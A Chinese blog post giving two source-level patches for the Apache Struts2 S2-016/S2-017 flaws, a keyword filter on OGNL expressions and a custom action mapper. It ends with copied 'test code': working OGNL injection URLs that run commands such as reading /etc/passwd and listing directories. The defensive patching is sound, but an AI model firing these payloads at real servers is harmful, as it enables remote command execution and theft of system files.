昨天struts2爆了一個好大的漏洞,用道哥的話來說就是:“今天下午整個中國的黑客圈像瘋了一樣開始利用這個漏洞黑網站,大家可以感受一下。”
看下烏雲這兩天的數據:
相關報道:
官方描述:
S2-016:https://cwiki.apache.org/confluence/display/WW/S2-016
S2-017:https://cwiki.apache.org/confluence/display/WW/S2-017
============================== 好了,下面是正題 ==============================
struts2漏洞S2-016、S2-017修補方案:
為了排版整齊一點,將代碼放在最后。
方案1:
方案介紹:
手工修改Ognl.jar源碼,增加惡意代碼過濾。此方法只能修補S2-016漏洞,但是對以后可能產生的ognl漏洞有預防作用。
操作步驟:
1.1 找到項目中ognl-version.jar,然后找到其對應的源碼。把源碼解壓后,導入到eclipse。找到Ongl.java中修改如下代碼:
1.2 將上面修改后的項目通過eclipse導出為ognl-my.jar, 將它放到lib目錄。
1.3 刪除原來ognl-version.jar
1.4 重啟服務器。
方案2:
方案介紹:
重寫struts2 DefaultActionMapper的handleSpecialParameters方法,增加action、redirect、redirectAction等參數的過濾。此方法可修補S2-016、S2-017漏洞。
操作步驟:
2.1 新建com/website/struts2/MyDefaultActionMapper.java,代碼如下:
2.2 復制MyDefaultActionMapper.class 到 /com/website/struts2/目錄。
2.3 用struts.xml添加如下代碼:
2.4 重啟服務器。
注意:
1.方案1中的“惡意代碼”和方案2中的“action、redirect、redirectAction”均為hardcode,如有需要可改為從配置文件讀取。
2.方案1原則上對系統沒有影響,方案2進行了redirect和redirectAction可跳轉性測試,但未進行全站測試。
3.方案1和方案2可以同時執行,也可只執行單獨一個。
附件:
Ognl.java
public static Object parseExpression(String expression) throws OgnlException { // -- jason.zhou 20130718 add start -- // // Runtime、ProcessBuilder為惡意代碼,其它可自行添加 String evalMethod[] = { "Runtime", "ProcessBuilder" }; String methodString = null; methodString = expression.toLowerCase(); for (int i = 0; i < evalMethod.length; i++) { if (methodString.indexOf(evalMethod[i].toLowerCase()) > -1) { System.out.print("|OGNL正在執行惡意語句|" + methodString + "|看到這個消息,請聯系安全工程師!!!"); return null; } } // -- jason.zhou 20130718 add start -- // try { OgnlParser parser = new OgnlParser(new StringReader(expression)); return parser.topLevelExpression(); } catch (ParseException e) { throw new ExpressionSyntaxException(expression, e); } catch (TokenMgrError e) { throw new ExpressionSyntaxException(expression, e); } }
MyDefaultActionMapper.java
/** * zhounenghua@163.com copyright */ package com.website.struts2; /** * @author jason.zhou * @date 2013-7-18 */ public class MyDefaultActionMapper extends DefaultActionMapper { public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) { Set uniqueParameters = new HashSet(); Map parameterMap = request.getParameterMap(); for (Iterator iterator = parameterMap.keySet().iterator(); iterator.hasNext();) { String key = (String) iterator.next(); if ((key.endsWith(".x")) || (key.endsWith(".y"))) { key = key.substring(0, key.length() - 2); } // -- jason.zhou 20130708 add start -- // if ((key.contains("redirect:")) || (key.contains("redirectAction:")) || (key.contains("action:"))) { return; } // -- jason.zhou 20130708 add end -- // if (!uniqueParameters.contains(key)) { ParameterAction parameterAction = (ParameterAction) this.prefixTrie.get(key); if (parameterAction != null) { parameterAction.execute(key, mapping); uniqueParameters.add(key); break; } } } } }
struts.xml
<!-- 為修復struts2 s2-016、s2-017漏洞,重寫DefaultActionMapper --> <bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class="com.website.struts2.MyDefaultActionMapper" /> <constant name="struts.mapper.class" value="myDefaultActionMapper" />
補充幾個測試代碼(本代碼來源於互聯網,對使用該段代碼造成的后果,本人不負任何責任):
linux:
1.查看用戶
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
2.查看路徑
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]%20{'ls','-l'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
3.查看指定路徑
?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'ls','-l','/webapp/proc/portal/'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
4.項目路徑
?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
windows:
2.任意代碼執行
?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'notepad.exe','goes','here'})).start()}
本文代碼有參考如下網址:http://www.inbreak.net/archives/507